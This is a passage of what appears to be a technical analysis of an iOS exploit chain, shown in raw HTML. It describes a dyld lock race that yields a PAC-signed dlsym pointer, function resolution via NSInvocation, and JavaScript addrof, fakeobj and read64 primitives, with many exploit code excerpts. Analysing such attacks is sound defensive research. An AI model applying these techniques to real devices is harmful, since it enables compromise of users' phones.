class="YrefKOOkxY-c6" id="h.xc1ebqee3vzb"><span class="YrefKOOkxY-c10">Lock what?</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">But what is that lock, and why are they locking it? That lock is used here inside dlsym:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// dlsym() assumes symbolName passed in is same as in C source code</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// dyld assumes all symbol names have an underscore prefix</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">BLOCK_ACCCESSIBLE_ARRAY(char, underscoredName, strlen(symbolName) + 2);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">underscoredName[0] = '_';</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">strcpy(&underscoredName[1], symbolName);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">__block Diagnostics diag;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">__block Loader::ResolvedSymbol result;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">if ( handle == RTLD_DEFAULT ) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // magic "search all in load order" handle</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> __block bool found = false;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> </span><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">withLoadersReadLock</span><span class="YrefKOOkxY-c0">(^{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> for ( const dyld4::Loader* image : loaded ) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( !image->hiddenFromFlat() && image->hasExportedSymbol(diag, *this, underscoredName, Loader::shallow, &result) ) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> found = true;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> break;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> });</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">withLoadersReadLock</span><span class="YrefKOOkxY-c5"> first takes the global lock which the invocation locked before evaluating the block which resolves the symbol:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">this->libSystemHelpers->os_unfair_recursive_lock_lock_with_options(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> &(_locks.loadersLock),</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> OS_UNFAIR_LOCK_NONE);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">work();</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">this->libSystemHelpers->os_unfair_recursive_lock_unlock(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> &_locks.loadersLock);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>So by taking this lock the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> has ensured that any calls to </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> in the GPU process will block waiting for this lock.</span></p><h3 class="YrefKOOkxY-c6" id="h.rl7ifba7ukvs"><span class="YrefKOOkxY-c10">Threading the needle</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Next they use the same double-invocation trick to make the following Objective-C call:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[NSThread detachNewThreadWithBlock:aBlock]</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>passing as the </span><span class="YrefKOOkxY-c3">block</span><span> argument a pointer to a </span><span class="YrefKOOkxY-c3">block</span><span> inside the </span><span class="YrefKOOkxY-c3">CoreGraphics</span><span class="YrefKOOkxY-c5"> library with the following body:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void *__CGImageCreateWithPNGDataProvider_block_invoke_2()</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void *sym;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( CGLibraryLoadImageIODYLD_once != -1 ) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> dispatch_once(&CGLibraryLoadImageIODYLD_once,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> &__block_literal_global_5_15015);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( !CGLibraryLoadImageIODYLD_handle ) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // fail</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> sym = dlsym(CGLibraryLoadImageIODYLD_handle,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "CGImageSourceGetType");</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( !sym ) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // fail</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CGImageCreateWithPNGDataProvider = sym;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return sym;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Prior to starting the thread calling that block they also perform two arbitrary writes to set:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">CGLibraryLoadImageIODYLD_once = -1</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">and </span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">CGLibraryLoadImageIODYLD.handle = RTLD_DEFAULT</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This means that the thread running that block will reach the call to:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">dlsym(CGLibraryLoadImageIODYLD_handle,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "CGImageSourceGetType");</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>then block inside the implementation of </span><span class="YrefKOOkxY-c3">dlsym</span><span> waiting to take a lock held by the </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5">.</span></p><h3 class="YrefKOOkxY-c6" id="h.6rve9i1lygg"><span class="YrefKOOkxY-c10">Sleep and repeat</span></h3> <p class="YrefKOOkxY-c2"><span>They call </span><span class="YrefKOOkxY-c3">[NSThread sleepForTimeInterval]</span><span> to sleep on the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> thread to ensure that the victim </span><span class="YrefKOOkxY-c3">dlsym</span><span> thread has started, then read the value of </span><span class="YrefKOOkxY-c3">libpthread::___pthread_head</span><span>, the start of a linked-list of </span><span class="YrefKOOkxY-c3">pthread</span><span class="YrefKOOkxY-c5">s representing all the running threads (the address of which was linked and rebased by the JS.)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They then use an unrolled loop of 100 </span><span class="YrefKOOkxY-c3">NSTernaryExpressions</span><span> to walk that linked list looking for the last entry (which has a null </span><span class="YrefKOOkxY-c3">pthread.next</span><span class="YrefKOOkxY-c5"> field) which is the most recently-started thread.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They use a hardcoded offset into the </span><span class="YrefKOOkxY-c3">pthread</span><span> struct to find the thread's stack and create an </span><span class="YrefKOOkxY-c3">NSData</span><span> object wrapping the first page of the </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> thread's stack:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">id v_stackData = [NSData dataWithBytesNoCopy:[set_msb(v_stackEnd) longLongValue] length:[@0x4000 longLongValue] freeWhenDone:[@0x0 longLongValue] ];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Recall this code we saw earlier in the </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> snippet:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// dlsym() assumes symbolName passed in is same as in C source code</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// dyld assumes all symbol names have an underscore prefix</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">BLOCK_ACCCESSIBLE_ARRAY(char, underscoredName, strlen(symbolName) + 2);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">underscoredName[0] = '_';</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">strcpy(&underscoredName[1], symbolName);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">BLOCK_ACCESSIBLE_ARRAY</span><span> is really creating an </span><span class="YrefKOOkxY-c3">alloca</span><span>-style local stack buffer in order to prepend an underscore to the symbol name, which explains why the </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5"> code does this next:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_stackData rangeOfData:@"b'_CGImageSourceGetType'" options:[@0x0 longLongValue] range:[@0x0 longLongValue] [@0x4000 longLongValue] ]</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>This returns an </span><span class="YrefKOOkxY-c3">NSRange</span><span> object defining where the string "</span><span class="YrefKOOkxY-c3">_CGImageSourceGetType</span><span>" appears in that page of the stack. "</span><span class="YrefKOOkxY-c3">CGImageSourceGetType</span><span>" (without the underscore) is the hardcoded (and constant, in read-only memory) string which the block passes to </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5">.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">NSExpression</span><span> then calculates the absolute address of that string on the thread stack and uses </span><span class="YrefKOOkxY-c3">[NSData getBytes:length:]</span><span> to write the contents of an </span><span class="YrefKOOkxY-c3">NSData</span><span> object containing the string "</span><span class="YrefKOOkxY-c3">_dlsym\0\0</span><span>" over the start of the "</span><span class="YrefKOOkxY-c3">_CGImageSourceGetType</span><span>" string on the blocked </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> thread.</span></p><h3 class="YrefKOOkxY-c6" id="h.90oby4diy988"><span class="YrefKOOkxY-c10">Unlock and go</span></h3> <p class="YrefKOOkxY-c2"><span>Using the same tricks as before to lock the lock (but this time using the </span><span class="YrefKOOkxY-c3">IMP</span><span> of </span><span class="YrefKOOkxY-c3">[CFPrefsSource unlock]</span><span> they unlock the global lock blocking the </span><span class="YrefKOOkxY-c3">dlsym</span><span> thread. This causes the block to continue executing and </span><span class="YrefKOOkxY-c3">dlsym</span><span> to complete, now returning a </span><span class="YrefKOOkxY-c3">PACIZA</span><span>-signed function pointer to </span><span class="YrefKOOkxY-c3">dlsym</span><span> instead of </span><span class="YrefKOOkxY-c3">CGImageSourceGetType</span><span class="YrefKOOkxY-c5">.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The block then assigns the return value of that call to </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> to a global variable:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CGImageCreateWithPNGDataProvider = sym;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">NSExpression</span><span> calls </span><span class="YrefKOOkxY-c3">sleepForTimeInterval</span><span> again to ensure that the block has completed, then reads that global variable to get a signed function pointer to </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5">!</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>(It's worth noting that it used to be the case, as documented by Samuel Groß in his </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html">iMessage remote exploit writeup</a></span><span>, that there were Objective-C methods such as </span><span class="YrefKOOkxY-c3">[CNFileServices dlsym:]</span><span> which would directly give you the ability to call </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> and get PACIZA-signed function pointers.)</span></p><h3 class="YrefKOOkxY-c6" id="h.1mnio7khahq"><span class="YrefKOOkxY-c10">Do look up</span></h3> <p class="YrefKOOkxY-c2"><span>Armed with a signed </span><span class="YrefKOOkxY-c3">dlsym</span><span> pointer they use the nested invocation trick to call </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> 22 times to get 22 more signed function pointers, assigning them to numbered variables:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">#define f_def(v_index, sym) \\</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> id v_symInvocation = [v_templateInvocation copy];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#Invocation setTarget:[@0xfffffffffffffffe longLongValue] ];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#Invocation setSelector:[@"sym" UTF8String] ];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> id v_#sym#InvocationIMP = [v_templateInvocation copy];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#InvocationIMP setSelector:[v_invokeUsingIMP:_NSFunctionExpression longLongValue] ];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_writeInvocationName setSelector:[v_dlsymPtr longLongValue] ];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_writeInvocationName getArgument:[set_msb([NSNumber numberWithUnsignedLongLong:[v_intermidiateAddress bytes] ]) longLongValue] atIndex:[@0x1 longLongValue] ];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#InvocationIMP setArgument:[set_msb([NSNumber numberWithUnsignedLongLong:[v_intermidiateAddress bytes] ]) longLongValue] atIndex:[@0x2 longLongValue] ];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#InvocationIMP setTarget:v_symInvocation ];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#InvocationIMP invoke];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> id v_#sym#____converted = [NSNumber numberWithUnsignedLongLong:[@0xaaaaaaaaaaaaaaa longLongValue] ];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#Invocation getReturnValue:[set_msb(add([NSNumber numberWithUnsignedLongLong:v_#sym#____converted ], @0x10)) longLongValue] ];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> id v_#sym# = v_#sym#____converted;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> id v_#index = v_#sym;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(0, syscall)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(1, task_self_trap)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(2, task_get_special_port)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(3, mach_port_allocate)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(4, sleep)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(5, mach_absolute_time)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(6, mach_msg)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(7, mach_msg2_trap)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(8, mach_msg_send)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(9, mach_msg_receive)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(10, mach_make_memory_entry)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(11, mach_port_type)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(12, IOMainPort)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(13, IOServiceMatching)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(14, IOServiceGetMatchingService)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(15, IOServiceOpen)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(16, IOConnectCallMethod)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(17, open)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(18, sprintf)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(19, printf)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(20, OSSpinLockLock)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(21, objc_msgSend)</span></p><h3 class="YrefKOOkxY-c6" id="h.x6tc18tdvghf"><span class="YrefKOOkxY-c10">Another path</span></h3> <p class="YrefKOOkxY-c2"><span>Still not satisfied with the ability to call arbitrary (exported, named) functions from </span><span class="YrefKOOkxY-c3">NSExpressions</span><span> the exploit now takes yet another turn and comes, in a certain sense, full circle by creating a </span><span class="YrefKOOkxY-c3">JSContext</span><span> object to evaluate javascript code embedded in a string inside the </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">id v_JSContext = [[JSContext alloc] init];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_JSContext evaluateScript:@"function hex(b){return(\"0\"+b.toString(16)).substr(-2)}function hexlify(bytes){var res=[];for(var i=0..." ];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The exploit evaluates three separate scripts inside this same context:</span></p><h3 class="YrefKOOkxY-c6" id="h.8ucd3c8u8uvg"><span>JS 1</span></h3> <p class="YrefKOOkxY-c2"><span>The first script defines a large set of utility types and functions common to many JS engine exploits. For example it defines a </span><span class="YrefKOOkxY-c3">Struct</span><span class="YrefKOOkxY-c5"> type:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">const Struct = function() {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var buffer = new ArrayBuffer(8);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var byteView = new Uint8Array(buffer);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var uint32View = new Uint32Array(buffer);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var float64View = new Float64Array(buffer);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> pack: function(type, value) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var view = type;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> view[0] = value;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> },</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unpack: function(type, bytes) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (bytes.length !== type.BYTES_PER_ELEMENT) throw Error("Invalid bytearray");</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var view = type;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> byteView.set(bytes);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return view[0]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> },</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int8: byteView,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int32: uint32View,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> float64: float64View</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}();</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The majority of the code is defining a custom fully-featured </span><span class="YrefKOOkxY-c3">Int64</span><span class="YrefKOOkxY-c5"> type.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>At the end they define two </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="http://www.phrack.org/issues/70/3.html#article">very useful helper functions</a></span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">function addrof(obj) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> addrof_obj_ary[0] = obj;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var addr = Int64.fromDouble(addrof_float_ary[0]);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> addrof_obj_ary[0] = null;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return addr</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">function fakeobj(addr) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> addrof_float_ary[0] = addr.asDouble();</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var fake = addrof_obj_ary[0];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> addrof_obj_ary[0] = null;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return fake</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>as well as a </span><span class="YrefKOOkxY-c3">read64()</span><span class="YrefKOOkxY-c5"> primitive:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">function read64(addr) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> read64_float_ary[0] = addr.asDouble();</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var tmp = "";</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> for (var it = 0; it < 4; it++) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> tmp = ("000" + read64_str.charCodeAt(it).toString(16)).slice(-4) + tmp</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var ret = new Int64("0x" + tmp);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return ret</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Of course, these primitives don't actually work - they are the standard primitives which would usually be built from a JS engine vulnerability like a JIT compiler bug, but there's no vulnerability being exploited here. Instead, after this script has been evaluated the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> uses the </span><span class="YrefKOOkxY-c3">[JSContext objectForKeyedSubscript]</span><span> method to look up the global objects used by those primitives and directly corrupt the underlying objects like the arrays used by </span><span class="YrefKOOkxY-c3">addrof</span><span> and </span><span class="YrefKOOkxY-c3">fakeobj</span><span class="YrefKOOkxY-c5"> such that they work.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This sets the stage for the second of the three 